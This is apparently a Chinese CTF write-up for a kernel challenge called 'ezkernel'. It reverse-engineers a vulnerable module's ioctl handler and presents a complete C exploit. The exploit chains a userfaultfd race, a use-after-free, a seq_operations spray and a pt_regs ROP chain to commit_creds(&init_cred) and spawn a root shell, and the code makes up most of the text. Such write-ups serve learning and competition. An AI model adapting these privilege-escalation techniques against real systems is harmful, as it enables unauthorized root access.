ezkernel! have fun!
一、逆向分析
boot.sh
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr pti=on quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-smp cores=2,threads=2 \
-monitor /dev/null \
-nographic
开了smep和pti,注意没有kaslr
init
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
ifup eth0 >/dev/null 2>/dev/null
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown root:root flag
chmod 400 flag
insmod /DASKERNEL.ko
chmod 777 /proc/DASKERNEL
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /welcome
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 sh
umount /proc
umount /sys
poweroff -d 0 -f
DASKERNEL.ko
init_module
__int64 init_module()
{
_fentry__();
babyLinkedList_file_entry = (proc_dir_entry *)proc_create("DASKERNEL", 0LL, 0LL, &babyLinkedList_file_fops);
if ( babyLinkedList_file_entry )
return babyLinkedList_init_cold();
else
return 4294967284LL;
}
创建了一个虚拟文件节点 DASKERNEL
babyLinkedList_ioctl
有效的选项就两个
__int64 __fastcall babyLinkedList_ioctl(__int64 a1, __int64 cmd)
{
uint64_t *req; // rdx
uint64_t *v3; // rbx
LinkedList *LinkedList; // r12
LinkedList *v5; // rax
uint64_t v6; // rdi
__int64 v7; // rax
uint64_t v8; // rsi
__int64 v9; // r12
LinkedList *v11; // r13
_fentry__(a1, cmd);
v3 = req;
if ( (_DWORD)cmd == 0x7777 ) // get、del
{
v11 = head;
v9 = 0LL;
if ( !head )
return v9;
head = head->next;
if ( !head )
copy_to_user(req[1], v11->data, 8LL);
kfree(v11);
kfree(v11->data);
return 0LL;
}
else
{
if ( (unsigned int)cmd <= 0x7777 )
{
if ( (_DWORD)cmd == 0x6666 ) // set、add
{
if ( *req > 0x40 ) // 传入的req->size不能大于0x40
return -1LL;
LinkedList = (LinkedList *)kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 24LL);
LinkedList->size = *v3; // LinkedList->size = req->size
v5 = head;
head = LinkedList;
v6 = *v3;
LinkedList->next = v5; // LinkedList->next = head
v7 = _kmalloc(v6, 3264LL); // LinkedList->data = kmalloc(req->size, 3264)
v8 = v3[1];
LinkedList->data = (char *)v7;
copy_from_user(v7, v8, 8LL); // copy_from_usr(LinkedList->data, req->data, 8)
}
return 0LL;
}
if ( (_DWORD)cmd == 0x8888 )
{
v9 = 0LL;
printk("\x011[DASCTF:] Sorry i don't want to complete the function");
return v9;
}
if ( (_DWORD)cmd != 0x9999 )
return 0LL;
return babyLinkedList_ioctl_cold();
}
}
二、利用思路
通过分析,维护的结构体为:
typedef struct linkedlist
{
uint64_t size;
struct linkedlist *next;
char* data;
}LinkedList;
我们需要传入的结构体:
struct request_t{
uint64_t size;
char* data;
}
在删除的时候没有任何锁,思考条件竞争,/proc/sys/vm/unprivileged_userfaultfd=1,允许uaserfaultfd系统调用
使用userfaultfd把程序卡在copy_from_user,再释放链表节点,由于只能写首8字节,我选择喷射seq_operations结构体改start指针,再滑到pt_regs的ropchain上。
三、EXP
经过调试,距离pt_regs为0x130字节,我选择了下面的gagdet:
0xffffffff8188fba1: add rsp, 0x130; pop rbx; pop r12; pop rbp; ret;
且由于gadget的限制,我们只能找到适合commit_cred(&init_cred)的rop链。
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0x6666
#define CMD_DEL 0x7777
size_t POP_RDI_RET = 0xffffffff81086aa0;
size_t POP_RDX_RET = 0xffffffff8153d116;
size_t ADD_RSP_0x130_PPP_RET = 0xffffffff8188fba1;
size_t prepare_kernel_cred = 0xffffffff810c40b0;
size_t commit_creds = 0xffffffff810c3d30;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a34;
size_t init_cred = 0xffffffff82a5fa40;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[-] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[-] <Get Root Error>\033[0m");
}
}
/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static pthread_t monitor_thread;
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, (void *) handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}
int fd;
char buf[0x400];
char data[0x400];
int spray[0x20];
int seqfd;
struct request_t{
size_t size;
char *data;
}req;
int add(size_t size, char *data){
req.size=size;
req.data=data;
int r=ioctl(fd, CMD_ADD, &req);
if(r<0) errExit("add");
}
int del(char *data){
req.size=0;
req.data=data;
int r=ioctl(fd, CMD_DEL, &req);
if(r<0) errExit("del");
}
static char *copy_page = NULL;
static void *
fault_handler_thread(void *arg)
{
static char *copy_page = buf;
static long copy_size = 0x1000;
static struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd;
static int fault_cnt = 0;
uffd = (long) arg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
bind_cpu(0);
puts("[*] fault_handler_thread waiting for page fault...");
for(;;)
{
if(poll(&pollfd, 1, -1) <= 0){
errExit("poll");
}
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("revents");
if(read(uffd, &msg, sizeof(msg)) <= 0){
errExit("read msg");
}
if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n");
printf("[t][*] fault_handler_thread(): ");
printf("POLLIN = %d; POLLERR = %d\n",
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
printf("[t][*] UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);
//your code...
switch(fault_cnt++){
case 0:{
puts("[t][*] UAF write");
del(data);
for(int i=0; i<0x20; i++){
spray[i]=open("/proc/self/stat", O_RDONLY);
if(spray[i]<0) errExit("spray");
}
seqfd=spray[0];
}
case 1:{
}
case 2:{
}
}
uffdio_copy.src = (unsigned long) copy_page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(copy_size - 1);
uffdio_copy.len = copy_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
bind_cpu(0);
void *page;
page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(page, 0x3000, (void *)fault_handler_thread);
fd=open("/proc/DASKERNEL",O_RDWR);
if(fd>0) puts("[+] Proc Opened");
*(size_t *)buf=ADD_RSP_0x130_PPP_RET;
add(0x20, page);
for (int i = 0; i < 0x60; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
}
swapgs_restore_regs_and_return_to_usermode+=16;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0xbeefdead;"
"mov r13, 0xbeefdead;"
"mov r12, POP_RDI_RET;"
"mov rbp, init_cred;"
"mov rbx, POP_RDX_RET;"
//r11
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rdi, seqfd;"
"mov rsi, rsp;"
"mov rdx, 8;"
"syscall"
);
getRootShell();
getchar();
return 0;
}